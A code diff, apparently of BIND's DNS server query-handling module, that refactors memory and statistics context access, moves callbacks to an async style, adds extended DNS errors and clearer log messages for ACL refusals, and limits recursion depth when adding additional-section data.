+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,13 +16,15 @@
 #include <ctype.h>
 #include <inttypes.h>
 #include <stdbool.h>
+#include <stdint.h>
 #include <string.h>
 
+#include <isc/async.h>
 #include <isc/hex.h>
 #include <isc/mem.h>
 #include <isc/once.h>
-#include <isc/print.h>
 #include <isc/random.h>
+#include <isc/result.h>
 #include <isc/rwlock.h>
 #include <isc/serial.h>
 #include <isc/stats.h>
@@ -37,13 +41,13 @@
 #include <dns/dns64.h>
 #include <dns/dnsrps.h>
 #include <dns/dnssec.h>
-#include <dns/events.h>
 #include <dns/keytable.h>
 #include <dns/message.h>
 #include <dns/ncache.h>
 #include <dns/nsec.h>
 #include <dns/nsec3.h>
 #include <dns/order.h>
+#include <dns/rbt.h>
 #include <dns/rdata.h>
 #include <dns/rdataclass.h>
 #include <dns/rdatalist.h>
@@ -61,7 +65,6 @@
 #include <dns/zt.h>
 
 #include <ns/client.h>
-#include <ns/events.h>
 #include <ns/hooks.h>
 #include <ns/interfacemgr.h>
 #include <ns/log.h>
@@ -70,6 +73,8 @@
 #include <ns/stats.h>
 #include <ns/xfrout.h>
 
+#include "probes.h"
+
 #if 0
 /*
  * It has been recommended that DNS64 be changed to return excluded
@@ -113,6 +118,8 @@
 #define WANTDNSSEC(c) (((c)->attributes & NS_CLIENTATTR_WANTDNSSEC) != 0)
 /*% Want WANTAD? */
 #define WANTAD(c) (((c)->attributes & NS_CLIENTATTR_WANTAD) != 0)
+/*% Client presented a bad COOKIE. */
+#define BADCOOKIE(c) (((c)->attributes & NS_CLIENTATTR_BADCOOKIE) != 0)
 /*% Client presented a valid COOKIE. */
 #define HAVECOOKIE(c) (((c)->attributes & NS_CLIENTATTR_HAVECOOKIE) != 0)
 /*% Client presented a COOKIE. */
@@ -157,7 +164,7 @@
 #define STALE_WINDOW(r) (((r)->attributes & DNS_RDATASETATTR_STALE_WINDOW) != 0)
 
 #ifdef WANT_QUERYTRACE
-static inline void
+static void
 client_trace(ns_client_t *client, int level, const char *message) {
 	if (client != NULL && client->query.qname != NULL) {
 		if (isc_log_wouldlog(ns_lctx, level)) {
@@ -228,7 +235,7 @@ query_findclosestnsec3(dns_name_t *qname, dns_db_t *db,
 		       dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset,
 		       dns_name_t *fname, bool exact, dns_name_t *found);
 
-static inline void
+static void
 log_queryerror(ns_client_t *client, isc_result_t result, int line, int level);
 
 static void
@@ -252,7 +259,7 @@ query_prepare_delegation_response(query_ctx_t *qctx);
  * Return the hooktable in use with 'qctx', or if there isn't one
  * set, return the default hooktable.
  */
-static inline ns_hooktable_t *
+static ns_hooktable_t *
 get_hooktab(query_ctx_t *qctx) {
 	if (qctx == NULL || qctx->view == NULL || qctx->view->hooktable == NULL)
 	{
@@ -269,7 +276,7 @@ get_hooktab(query_ctx_t *qctx) {
  *
  * (Note that a hook function may set the 'result' to ISC_R_SUCCESS but
  * still terminate processing within the calling function. That's why this
- * is a macro instead of an inline function; it needs to be able to use
+ * is a macro instead of a static function; it needs to be able to use
  * 'goto cleanup' regardless of the return value.)
  */
 #define CALL_HOOK(_id, _qctx)                                       \
@@ -290,7 +297,7 @@ get_hooktab(query_ctx_t *qctx) {
 				result = _res;                      \
 				goto cleanup;                       \
 			default:                                    \
-				INSIST(0);                          \
+				UNREACHABLE();                      \
 			}                                           \
 		}                                                   \
 	} while (false)
@@ -301,7 +308,7 @@ get_hooktab(query_ctx_t *qctx) {
  * codes are ignored. This is intended for use with initialization and
  * destruction calls which *must* run in every configured module.
  *
- * (This could be implemented as an inline void function, but is left as a
+ * (This could be implemented as a static void function, but is left as a
  * macro for symmetry with CALL_HOOK above.)
  */
 #define CALL_HOOK_NORETURN(_id, _qctx)                          \
@@ -390,17 +397,26 @@ static void
 query_trace(query_ctx_t *qctx);
 
 static void
-qctx_init(ns_client_t *client, dns_fetchevent_t **eventp, dns_rdatatype_t qtype,
-	  query_ctx_t *qctx);
+qctx_init(ns_client_t *client, dns_fetchresponse_t **respp,
+	  dns_rdatatype_t qtype, query_ctx_t *qctx);
 
 static isc_result_t
+qctx_prepare_buffers(query_ctx_t *qctx, isc_buffer_t *buffer);
+
+static void
+qctx_freedata(query_ctx_t *qctx);
+
+static void
+qctx_destroy(query_ctx_t *qctx);
+
+static void
 query_setup(ns_client_t *client, dns_rdatatype_t qtype);
 
 static isc_result_t
 query_lookup(query_ctx_t *qctx);
 
 static void
-fetch_callback(isc_task_t *task, isc_event_t *event);
+fetch_callback(void *arg);
 
 static void
 recparam_update(ns_query_recparam_t *param, dns_rdatatype_t qtype,
@@ -481,7 +497,7 @@ query_cname(query_ctx_t *qctx);
 static isc_result_t
 query_dname(query_ctx_t *qctx);
 
-static isc_result_t
+static void
 query_addcname(query_ctx_t *qctx, dns_trust_t trust, dns_ttl_t ttl);
 
 static isc_result_t
@@ -509,7 +525,7 @@ query_clear_stale(ns_client_t *client);
 /*
  * Increment query statistics counters.
  */
-static inline void
+static void
 inc_stats(ns_client_t *client, isc_statscounter_t counter) {
 	dns_zone_t *zone = client->query.authzone;
 	dns_rdatatype_t qtype;
@@ -517,7 +533,7 @@ inc_stats(ns_client_t *client, isc_statscounter_t counter) {
 	isc_stats_t *zonestats;
 	dns_stats_t *querystats = NULL;
 
-	ns_stats_increment(client->sctx->nsstats, counter);
+	ns_stats_increment(client->manager->sctx->nsstats, counter);
 
 	if (zone == NULL) {
 		return;
@@ -601,7 +617,7 @@ query_error(ns_client_t *client, isc_result_t result, int line) {
 		break;
 	}
 
-	if ((client->sctx->options & NS_SERVER_LOGQUERIES) != 0) {
+	if ((client->manager->sctx->options & NS_SERVER_LOGQUERIES) != 0) {
 		loglevel = ISC_LOG_INFO;
 	}
 
@@ -630,7 +646,7 @@ query_next(ns_client_t *client, isc_result_t result) {
 	}
 }
 
-static inline void
+static void
 query_freefreeversions(ns_client_t *client, bool everything) {
 	ns_dbversion_t *dbversion, *dbversion_next;
 	unsigned int i;
@@ -646,7 +662,7 @@ query_freefreeversions(ns_client_t *client, bool everything) {
 		if (i > 3 || everything) {
 			ISC_LIST_UNLINK(client->query.freeversions, dbversion,
 					link);
-			isc_mem_put(client->mctx, dbversion,
+			isc_mem_put(client->manager->mctx, dbversion,
 				    sizeof(*dbversion));
 		}
 	}
@@ -657,10 +673,12 @@ ns_query_cancel(ns_client_t *client) {
 	REQUIRE(NS_CLIENT_VALID(client));
 
 	LOCK(&client->query.fetchlock);
-	if (client->query.fetch != NULL) {
-		dns_resolver_cancelfetch(client->query.fetch);
-
-		client->query.fetch = NULL;
+	for (int i = 0; i < RECTYPE_COUNT; i++) {
+		dns_fetch_t **fetchp = &client->query.recursions[i].fetch;
+		if (*fetchp != NULL) {
+			dns_resolver_cancelfetch(*fetchp);
+			*fetchp = NULL;
+		}
 	}
 	if (client->query.hookactx != NULL) {
 		client->query.hookactx->cancel(client->query.hookactx);
@@ -669,7 +687,7 @@ ns_query_cancel(ns_client_t *client) {
 	UNLOCK(&client->query.fetchlock);
 }
 
-static inline void
+static void
 query_reset(ns_client_t *client, bool everything) {
 	isc_buffer_t *dbuf, *dbuf_next;
 	ns_dbversion_t *dbversion, *dbversion_next;
@@ -713,8 +731,8 @@ query_reset(ns_client_t *client, bool everything) {
 		ns_client_putrdataset(client, &client->query.dns64_sigaaaa);
 	}
 	if (client->query.dns64_aaaaok != NULL) {
-		isc_mem_put(client->mctx, client->query.dns64_aaaaok,
-			    client->query.dns64_aaaaoklen * sizeof(bool));
+		isc_mem_cput(client->manager->mctx, client->query.dns64_aaaaok,
+			     client->query.dns64_aaaaoklen, sizeof(bool));
 		client->query.dns64_aaaaok = NULL;
 		client->query.dns64_aaaaoklen = 0;
 	}
@@ -759,7 +777,7 @@ query_reset(ns_client_t *client, bool everything) {
 		rpz_st_clear(client);
 		if (everything) {
 			INSIST(client->query.rpz_st->rpsdb == NULL);
-			isc_mem_put(client->mctx, client->query.rpz_st,
+			isc_mem_put(client->manager->mctx, client->query.rpz_st,
 				    sizeof(*client->query.rpz_st));
 			client->query.rpz_st = NULL;
 		}
@@ -796,38 +814,16 @@ ns_query_init(ns_client_t *client) {
 
 	REQUIRE(NS_CLIENT_VALID(client));
 
+	client->query = (ns_query_t){ 0 };
+
 	ISC_LIST_INIT(client->query.namebufs);
 	ISC_LIST_INIT(client->query.activeversions);
 	ISC_LIST_INIT(client->query.freeversions);
-	client->query.restarts = 0;
-	client->query.timerset = false;
-	client->query.rpz_st = NULL;
-	client->query.qname = NULL;
 	/*
 	 * This mutex is destroyed when the client is destroyed in
 	 * exit_check().
 	 */
 	isc_mutex_init(&client->query.fetchlock);
-
-	client->query.fetch = NULL;
-	client->query.prefetch = NULL;
-	client->query.authdb = NULL;
-	client->query.authzone = NULL;
-	client->query.authdbset = false;
-	client->query.isreferral = false;
-	client->query.dns64_aaaa = NULL;
-	client->query.dns64_sigaaaa = NULL;
-	client->query.dns64_aaaaok = NULL;
-	client->query.dns64_aaaaoklen = 0;
-	client->query.redirect.db = NULL;
-	client->query.redirect.node = NULL;
-	client->query.redirect.zone = NULL;
-	client->query.redirect.qtype = dns_rdatatype_none;
-	client->query.redirect.result = ISC_R_SUCCESS;
-	client->query.redirect.rdataset = NULL;
-	client->query.redirect.sigrdataset = NULL;
-	client->query.redirect.authoritative = false;
-	client->query.redirect.is_zone = false;
 	client->query.redirect.fname =
 		dns_fixedname_initname(&client->query.redirect.fixed);
 	query_reset(client, false);
@@ -859,17 +855,28 @@ query_checkcacheaccess(ns_client_t *client, const dns_name_t *name,
 	isc_result_t result;
 
 	if ((client->query.attributes & NS_QUERYATTR_CACHEACLOKVALID) == 0) {
+		enum refusal_reasons {
+			ALLOW_QUERY_CACHE,
+			ALLOW_QUERY_CACHE_ON
+		};
+		static const char *acl_desc[] = {
+			"allow-query-cache did not match",
+			"allow-query-cache-on did not match",
+		};
+
 		/*
 		 * The view's cache ACLs have not yet been evaluated.
 		 * Do it now. Both allow-query-cache and
-		 * allow-query-cache-on must be satsified.
+		 * allow-query-cache-on must be satisfied.
 		 */
 		bool log = ((options & DNS_GETDB_NOLOG) == 0);
 		char msg[NS_CLIENT_ACLMSGSIZE("query (cache)")];
 
+		enum refusal_reasons refusal_reason = ALLOW_QUERY_CACHE;
 		result = ns_client_checkaclsilent(client, NULL,
 						  client->view->cacheacl, true);
 		if (result == ISC_R_SUCCESS) {
+			refusal_reason = ALLOW_QUERY_CACHE_ON;
 			result = ns_client_checkaclsilent(
 				client, &client->destaddr,
 				client->view->cacheonacl, true);
@@ -889,19 +896,25 @@ query_checkcacheaccess(ns_client_t *client, const dns_name_t *name,
 					      ISC_LOG_DEBUG(3), "%s approved",
 					      msg);
 			}
-		} else if (log) {
+		} else {
 			/*
 			 * We were denied by the "allow-query-cache" ACL.
 			 * There is no need to clear NS_QUERYATTR_CACHEACLOK
 			 * since it is cleared by query_reset(), before query
 			 * processing starts.
 			 */
-			ns_client_aclmsg("query (cache)", name, qtype,
-					 client->view->rdclass, msg,
-					 sizeof(msg));
-			ns_client_log(client, DNS_LOGCATEGORY_SECURITY,
-				      NS_LOGMODULE_QUERY, ISC_LOG_INFO,
-				      "%s denied", msg);
+			ns_client_extendederror(client, DNS_EDE_PROHIBITED,
+						NULL);
+
+			if (log) {
+				ns_client_aclmsg("query (cache)", name, qtype,
+						 client->view->rdclass, msg,
+						 sizeof(msg));
+				ns_client_log(client, DNS_LOGCATEGORY_SECURITY,
+					      NS_LOGMODULE_QUERY, ISC_LOG_INFO,
+					      "%s denied (%s)", msg,
+					      acl_desc[refusal_reason]);
+			}
 		}
 
 		/*
@@ -916,7 +929,7 @@ query_checkcacheaccess(ns_client_t *client, const dns_name_t *name,
 			: DNS_R_REFUSED);
 }
 
-static inline isc_result_t
+static isc_result_t
 query_validatezonedb(ns_client_t *client, const dns_name_t *name,
 		     dns_rdatatype_t qtype, unsigned int options,
 		     dns_zone_t *zone, dns_db_t *db,
@@ -955,7 +968,8 @@ query_validatezonedb(ns_client_t *client, const dns_name_t *name,
 	 * and should not be disclosed.
 	 */
 	if (dns_zone_gettype(zone) == dns_zone_staticstub &&
-	    !RECURSIONOK(client)) {
+	    !RECURSIONOK(client))
+	{
 		return (DNS_R_REFUSED);
 	}
 
@@ -999,7 +1013,8 @@ query_validatezonedb(ns_client_t *client, const dns_name_t *name,
 			 */
 			dbversion->acl_checked = true;
 			if ((client->query.attributes & NS_QUERYATTR_QUERYOK) ==
-			    0) {
+			    0)
+			{
 				dbversion->queryok = false;
 				return (DNS_R_REFUSED);
 			}
@@ -1028,6 +1043,8 @@ query_validatezonedb(ns_client_t *client, const dns_name_t *name,
 			ns_client_log(client, DNS_LOGCATEGORY_SECURITY,
 				      NS_LOGMODULE_QUERY, ISC_LOG_INFO,
 				      "%s denied", msg);
+			ns_client_extendederror(client, DNS_EDE_PROHIBITED,
+						NULL);
 		}
 	}
 
@@ -1056,6 +1073,10 @@ query_validatezonedb(ns_client_t *client, const dns_name_t *name,
 
 		result = ns_client_checkaclsilent(client, &client->destaddr,
 						  queryonacl, true);
+		if (result != ISC_R_SUCCESS) {
+			ns_client_extendederror(client, DNS_EDE_PROHIBITED,
+						NULL);
+		}
 		if ((options & DNS_GETDB_NOLOG) == 0 && result != ISC_R_SUCCESS)
 		{
 			ns_client_log(client, DNS_LOGCATEGORY_SECURITY,
@@ -1073,13 +1094,11 @@ query_validatezonedb(ns_client_t *client, const dns_name_t *name,
 
 approved:
 	/* Transfer ownership, if necessary. */
-	if (versionp != NULL) {
-		*versionp = dbversion->version;
-	}
+	SET_IF_NOT_NULL(versionp, dbversion->version);
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 query_getzonedb(ns_client_t *client, const dns_name_t *name,
 		dns_rdatatype_t qtype, unsigned int options, dns_zone_t **zonep,
 		dns_db_t **dbp, dns_dbversion_t **versionp) {
@@ -1100,8 +1119,7 @@ query_getzonedb(ns_client_t *client, const dns_name_t *name,
 		ztoptions |= DNS_ZTFIND_NOEXACT;
 	}
 
-	result = dns_zt_find(client->view->zonetable, name, ztoptions, NULL,
-			     &zone);
+	result = dns_view_findzone(client->view, name, ztoptions, &zone);
 
 	if (result == DNS_R_PARTIALMATCH) {
 		partial = true;
@@ -1160,7 +1178,7 @@ rpz_log_rewrite(ns_client_t *client, bool disabled, dns_rpz_policy_t policy,
 	 * Count both enabled and disabled rewrites for each zone.
 	 */
 	if (!disabled && policy != DNS_RPZ_POLICY_PASSTHRU) {
-		ns_stats_increment(client->sctx->nsstats,
+		ns_stats_increment(client->manager->sctx->nsstats,
 				   ns_statscounter_rpz_rewrites);
 	}
 	if (p_zone != NULL) {
@@ -1289,7 +1307,8 @@ rpz_getdb(ns_client_t *client, dns_name_t *p_name, dns_rpz_type_t rpz_type,
 		 * logging is disabled for some policy zones.
 		 */
 		if (st->popt.no_log == 0 &&
-		    isc_log_wouldlog(ns_lctx, DNS_RPZ_DEBUG_LEVEL2)) {
+		    isc_log_wouldlog(ns_lctx, DNS_RPZ_DEBUG_LEVEL2))
+		{
 			dns_name_format(client->query.qname, qnamebuf,
 					sizeof(qnamebuf));
 			dns_name_format(p_name, p_namebuf, sizeof(p_namebuf));
@@ -1311,7 +1330,7 @@ rpz_getdb(ns_client_t *client, dns_name_t *p_name, dns_rpz_type_t rpz_type,
  * Find a cache database to answer the query.  This may fail with DNS_R_REFUSED
  * if the client is not allowed to use the cache.
  */
-static inline isc_result_t
+static isc_result_t
 query_getcachedb(ns_client_t *client, const dns_name_t *name,
 		 dns_rdatatype_t qtype, dns_db_t **dbp, unsigned int options) {
 	isc_result_t result;
@@ -1339,7 +1358,7 @@ query_getcachedb(ns_client_t *client, const dns_name_t *name,
 	return (result);
 }
 
-static inline isc_result_t
+static isc_result_t
 query_getdb(ns_client_t *client, dns_name_t *name, dns_rdatatype_t qtype,
 	    unsigned int options, dns_zone_t **zonep, dns_db_t **dbp,
 	    dns_dbversion_t **versionp, bool *is_zonep) {
@@ -1368,8 +1387,8 @@ query_getdb(ns_client_t *client, dns_name_t *name, dns_rdatatype_t qtype,
 	 * If # zone labels < # name labels, try to find an even better match
 	 * Only try if DLZ drivers are loaded for this view
 	 */
-	if (ISC_UNLIKELY(zonelabels < namelabels &&
-			 !ISC_LIST_EMPTY(client->view->dlz_searched)))
+	if (zonelabels < namelabels &&
+	    !ISC_LIST_EMPTY(client->view->dlz_searched))
 	{
 		dns_clientinfomethods_t cm;
 		dns_clientinfo_t ci;
@@ -1377,6 +1396,7 @@ query_getdb(ns_client_t *client, dns_name_t *name, dns_rdatatype_t qtype,
 
 		dns_clientinfomethods_init(&cm, ns_client_sourceip);
 		dns_clientinfo_init(&ci, client, NULL);
+		dns_clientinfo_setecs(&ci, &client->ecs);
 
 		tdbp = NULL;
 		tresult = dns_view_searchdlz(client->view, name, zonelabels,
@@ -1441,7 +1461,7 @@ query_getdb(ns_client_t *client, dns_name_t *name, dns_rdatatype_t qtype,
 	return (result);
 }
 
-static inline bool
+static bool
 query_isduplicate(ns_client_t *client, dns_name_t *name, dns_rdatatype_t type,
 		  dns_name_t **mnamep) {
 	dns_section_t section;
@@ -1451,7 +1471,8 @@ query_isduplicate(ns_client_t *client, dns_name_t *name, dns_rdatatype_t type,
 	CTRACE(ISC_LOG_DEBUG(3), "query_isduplicate");
 
 	for (section = DNS_SECTION_ANSWER; section <= DNS_SECTION_ADDITIONAL;
-	     section++) {
+	     section++)
+	{
 		result = dns_message_findname(client->message, section, name,
 					      type, 0, &mname, NULL);
 		if (result == ISC_R_SUCCESS) {
@@ -1474,9 +1495,7 @@ query_isduplicate(ns_client_t *client, dns_name_t *name, dns_rdatatype_t type,
 		mname = NULL;
 	}
 
-	if (mnamep != NULL) {
-		*mnamep = mname;
-	}
+	SET_IF_NOT_NULL(mnamep, mname);
 
 	CTRACE(ISC_LOG_DEBUG(3), "query_isduplicate: false: done");
 	return (false);
@@ -1533,7 +1552,8 @@ query_additionalauthfind(dns_db_t *db, dns_dbversion_t *version,
 		}
 
 		if (sigrdataset != NULL &&
-		    dns_rdataset_isassociated(sigrdataset)) {
+		    dns_rdataset_isassociated(sigrdataset))
+		{
 			dns_rdataset_disassociate(sigrdataset);
 		}
 
@@ -1649,7 +1669,8 @@ query_additionalauth(query_ctx_t *qctx, const dns_name_t *name,
 }
 
 static isc_result_t
-query_additional_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype) {
+query_additional_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype,
+		    dns_rdataset_t *found DNS__DB_FLARG) {
 	query_ctx_t *qctx = arg;
 	ns_client_t *client = qctx->client;
 	isc_result_t result, eresult = ISC_R_SUCCESS;
@@ -1697,19 +1718,10 @@ query_additional_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype) {
 	 * Get some resources.
 	 */
 	dbuf = ns_client_getnamebuf(client);
-	if (dbuf == NULL) {
-		goto cleanup;
-	}
 	fname = ns_client_newname(client, dbuf, &b);
 	rdataset = ns_client_newrdataset(client);
-	if (fname == NULL || rdataset == NULL) {
-		goto cleanup;
-	}
 	if (WANTDNSSEC(client)) {
 		sigrdataset = ns_client_newrdataset(client);
-		if (sigrdataset == NULL) {
-			goto cleanup;
-		}
 	}
 
 	/*
@@ -1751,9 +1763,6 @@ query_additional_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype) {
 	 */
 	if (sigrdataset == NULL) {
 		sigrdataset = ns_client_newrdataset(client);
-		if (sigrdataset == NULL) {
-			goto cleanup;
-		}
 	}
 
 	version = NULL;
@@ -1822,7 +1831,8 @@ query_additional_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype) {
 				client->now, &node, fname, &cm, &ci, rdataset,
 				sigrdataset);
 	if (result != ISC_R_SUCCESS && result != DNS_R_ZONECUT &&
-	    result != DNS_R_GLUE) {
+	    result != DNS_R_GLUE)
+	{
 		goto cleanup;
 	}
 
@@ -1833,6 +1843,13 @@ query_additional_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype) {
 	 */
 	ns_client_keepname(client, fname, dbuf);
 
+	/*
+	 * Does the caller want the found rdataset?
+	 */
+	if (found != NULL && dns_rdataset_isassociated(rdataset)) {
+		dns_rdataset_clone(rdataset, found);
+	}
+
 	/*
 	 * If we have an rdataset, add it to the additional data
 	 * section.
@@ -1858,7 +1875,8 @@ query_additional_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype) {
 		 * in the response.
 		 */
 		if (sigrdataset != NULL &&
-		    dns_rdataset_isassociated(sigrdataset)) {
+		    dns_rdataset_isassociated(sigrdataset))
+		{
 			ISC_LIST_APPEND(fname->list, sigrdataset, link);
 			sigrdataset = NULL;
 		}
@@ -1877,9 +1895,6 @@ query_additional_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype) {
 			}
 		} else {
 			rdataset = ns_client_newrdataset(client);
-			if (rdataset == NULL) {
-				goto addname;
-			}
 		}
 		if (sigrdataset != NULL) {
 			if (dns_rdataset_isassociated(sigrdataset)) {
@@ -1887,9 +1902,6 @@ query_additional_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype) {
 			}
 		} else if (WANTDNSSEC(client)) {
 			sigrdataset = ns_client_newrdataset(client);
-			if (sigrdataset == NULL) {
-				goto addname;
-			}
 		}
 		if (query_isduplicate(client, fname, dns_rdatatype_a, NULL)) {
 			goto aaaa_lookup;
@@ -1902,7 +1914,8 @@ query_additional_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype) {
 		} else if (result == DNS_R_NCACHENXRRSET) {
 			dns_rdataset_disassociate(rdataset);
 			if (sigrdataset != NULL &&
-			    dns_rdataset_isassociated(sigrdataset)) {
+			    dns_rdataset_isassociated(sigrdataset))
+			{
 				dns_rdataset_disassociate(sigrdataset);
 			}
 		} else if (result == ISC_R_SUCCESS) {
@@ -1920,7 +1933,8 @@ query_additional_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype) {
 			if (invalid && DNS_TRUST_PENDING(rdataset->trust)) {
 				dns_rdataset_disassociate(rdataset);
 				if (sigrdataset != NULL &&
-				    dns_rdataset_isassociated(sigrdataset)) {
+				    dns_rdataset_isassociated(sigrdataset))
+				{
 					dns_rdataset_disassociate(sigrdataset);
 				}
 			} else if (!query_isduplicate(client, fname,
@@ -1938,23 +1952,19 @@ query_additional_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype) {
 				ISC_LIST_APPEND(fname->list, rdataset, link);
 				added_something = true;
 				if (sigrdataset != NULL &&
-				    dns_rdataset_isassociated(sigrdataset)) {
+				    dns_rdataset_isassociated(sigrdataset))
+				{
 					ISC_LIST_APPEND(fname->list,
 							sigrdataset, link);
 					sigrdataset =
 						ns_client_newrdataset(client);
 				}
 				rdataset = ns_client_newrdataset(client);
-				if (rdataset == NULL) {
-					goto addname;
-				}
-				if (WANTDNSSEC(client) && sigrdataset == NULL) {
-					goto addname;
-				}
 			} else {
 				dns_rdataset_disassociate(rdataset);
 				if (sigrdataset != NULL &&
-				    dns_rdataset_isassociated(sigrdataset)) {
+				    dns_rdataset_isassociated(sigrdataset))
+				{
 					dns_rdataset_disassociate(sigrdataset);
 				}
 			}
@@ -1972,7 +1982,8 @@ query_additional_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype) {
 		} else if (result == DNS_R_NCACHENXRRSET) {
 			dns_rdataset_disassociate(rdataset);
 			if (sigrdataset != NULL &&
-			    dns_rdataset_isassociated(sigrdataset)) {
+			    dns_rdataset_isassociated(sigrdataset))
+			{
 				dns_rdataset_disassociate(sigrdataset);
 			}
 		} else if (result == ISC_R_SUCCESS) {
@@ -1992,12 +2003,14 @@ query_additional_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype) {
 			if (invalid && DNS_TRUST_PENDING(rdataset->trust)) {
 				dns_rdataset_disassociate(rdataset);
 				if (sigrdataset != NULL &&
-				    dns_rdataset_isassociated(sigrdataset)) {
+				    dns_rdataset_isassociated(sigrdataset))
+				{
 					dns_rdataset_disassociate(sigrdataset);
 				}
 			} else if (!query_isduplicate(client, fname,
 						      dns_rdatatype_aaaa,
-						      &mname)) {
+						      &mname))
+			{
 				if (mname != fname) {
 					if (mname != NULL) {
 						ns_client_releasename(client,
@@ -2010,7 +2023,8 @@ query_additional_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype) {
 				ISC_LIST_APPEND(fname->list, rdataset, link);
 				added_something = true;
 				if (sigrdataset != NULL &&
-				    dns_rdataset_isassociated(sigrdataset)) {
+				    dns_rdataset_isassociated(sigrdataset))
+				{
 					ISC_LIST_APPEND(fname->list,
 							sigrdataset, link);
 					sigrdataset = NULL;
@@ -2038,29 +2052,25 @@ query_additional_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype) {
 		dns_message_addname(client->message, fname,
 				    DNS_SECTION_ADDITIONAL);
 	}
-	fname = NULL;
 
 	/*
-	 * In a few cases, we want to add additional data for additional
-	 * data.  It's simpler to just deal with special cases here than
-	 * to try to create a general purpose mechanism and allow the
-	 * rdata implementations to do it themselves.
-	 *
-	 * This involves recursion, but the depth is limited.  The
-	 * most complex case is adding a SRV rdataset, which involves
-	 * recursing to add address records, which in turn can cause
-	 * recursion to add KEYs.
+	 * In some cases, a record that has been added as additional
+	 * data may *also* trigger the addition of additional data.
+	 * This cannot go more than MAX_RESTARTS levels deep.
 	 */
-	if (type == dns_rdatatype_srv && trdataset != NULL) {
-		/*
-		 * If we're adding SRV records to the additional data
-		 * section, it's helpful if we add the SRV additional data
-		 * as well.
-		 */
-		eresult = dns_rdataset_additionaldata(
-			trdataset, query_additional_cb, qctx);
+	if (trdataset != NULL && dns_rdatatype_followadditional(type)) {
+		if (client->additionaldepth++ < MAX_RESTARTS) {
+			eresult = dns_rdataset_additionaldata(
+				trdataset, fname, query_additional_cb, qctx);
+		}
+		client->additionaldepth--;
 	}
 
+	/*
+	 * Don't release fname.
+	 */
+	fname = NULL;
+
 cleanup:
 	CTRACE(ISC_LOG_DEBUG(3), "query_additional_cb: cleanup");
 	ns_client_putrdataset(client, &rdataset);
@@ -2084,7 +2094,7 @@ query_additional_cb(void *arg, const dns_name_t *name, dns_rdatatype_t qtype) {
 /*
  * Add 'rdataset' to 'name'.
  */
-static inline void
+static void
 query_addtoname(dns_name_t *name, dns_rdataset_t *rdataset) {
 	ISC_LIST_APPEND(name->list, rdataset, link);
 }
@@ -2112,7 +2122,8 @@ query_setorder(query_ctx_t *qctx, dns_name_t *name, dns_rdataset_t *rdataset) {
  * Handle glue and fetch any other needed additional data for 'rdataset'.
  */
 static void
-query_additional(query_ctx_t *qctx, dns_rdataset_t *rdataset) {
+query_additional(query_ctx_t *qctx, dns_name_t *name,
+		 dns_rdataset_t *rdataset) {
 	ns_client_t *client = qctx->client;
 	isc_result_t result;
 
@@ -2125,20 +2136,18 @@ query_additional(query_ctx_t *qctx, dns_rdataset_t *rdataset) {
 	/*
 	 * Try to process glue directly.
 	 */
-	if (qctx->view->use_glue_cache &&
-	    (rdataset->type == dns_rdatatype_ns) &&
-	    (client->query.gluedb != NULL) &&
-	    dns_db_iszone(client->query.gluedb))
+	if (rdataset->type == dns_rdatatype_ns &&
+	    client->query.gluedb != NULL && dns_db_iszone(client->query.gluedb))
 	{
-		ns_dbversion_t *dbversion;
+		ns_dbversion_t *dbversion = NULL;
 
 		dbversion = ns_client_findversion(client, client->query.gluedb);
 		if (dbversion == NULL) {
 			goto regular;
 		}
 
-		result = dns_rdataset_addglue(rdataset, dbversion->version,
-					      client->message);
+		result = dns_db_addglue(qctx->db, dbversion->version, rdataset,
+					client->message);
 		if (result == ISC_R_SUCCESS) {
 			return;
 		}
@@ -2149,7 +2158,8 @@ query_additional(query_ctx_t *qctx, dns_rdataset_t *rdataset) {
 	 * Add other additional data if needed.
 	 * We don't care if dns_rdataset_additionaldata() fails.
 	 */
-	(void)dns_rdataset_additionaldata(rdataset, query_additional_cb, qctx);
+	(void)dns_rdataset_additionaldata(rdataset, name, query_additional_cb,
+					  qctx);
 	CTRACE(ISC_LOG_DEBUG(3), "query_additional: done");
 }
 
@@ -2230,7 +2240,7 @@ query_addrrset(query_ctx_t *qctx, dns_name_t **namep,
 	 */
 	query_addtoname(mname, rdataset);
 	query_setorder(qctx, mname, rdataset);
-	query_additional(qctx, rdataset);
+	query_additional(qctx, mname, rdataset);
 
 	/*
 	 * Note: we only add SIGs if we've added the type they cover, so
@@ -2276,7 +2286,7 @@ mark_secure(ns_client_t *client, dns_db_t *db, dns_name_t *name,
 		return;
 	}
 
-	isc_stdtime_get(&now);
+	now = isc_stdtime_now();
 	dns_rdataset_trimttl(rdataset, sigrdataset, rrsig, now,
 			     client->view->acceptexpired);
 
@@ -2338,7 +2348,7 @@ get_key(ns_client_t *client, dns_db_t *db, dns_rdata_rrsig_t *rrsig,
 		isc_buffer_init(&b, rdata.data, rdata.length);
 		isc_buffer_add(&b, rdata.length);
 		result = dst_key_fromdns(&rrsig->signer, rdata.rdclass, &b,
-					 client->mctx, keyp);
+					 client->manager->mctx, keyp);
 		if (result != ISC_R_SUCCESS) {
 			continue;
 		}
@@ -2365,8 +2375,8 @@ verify(dst_key_t *key, dns_name_t *name, dns_rdataset_t *rdataset,
 
 again:
 	result = dns_dnssec_verify(name, rdataset, key, ignore,
-				   client->view->maxbits, client->mctx, rdata,
-				   NULL);
+				   client->view->maxbits, client->manager->mctx,
+				   rdata, NULL);
 	if (result == DNS_R_SIGEXPIRED && client->view->acceptexpired) {
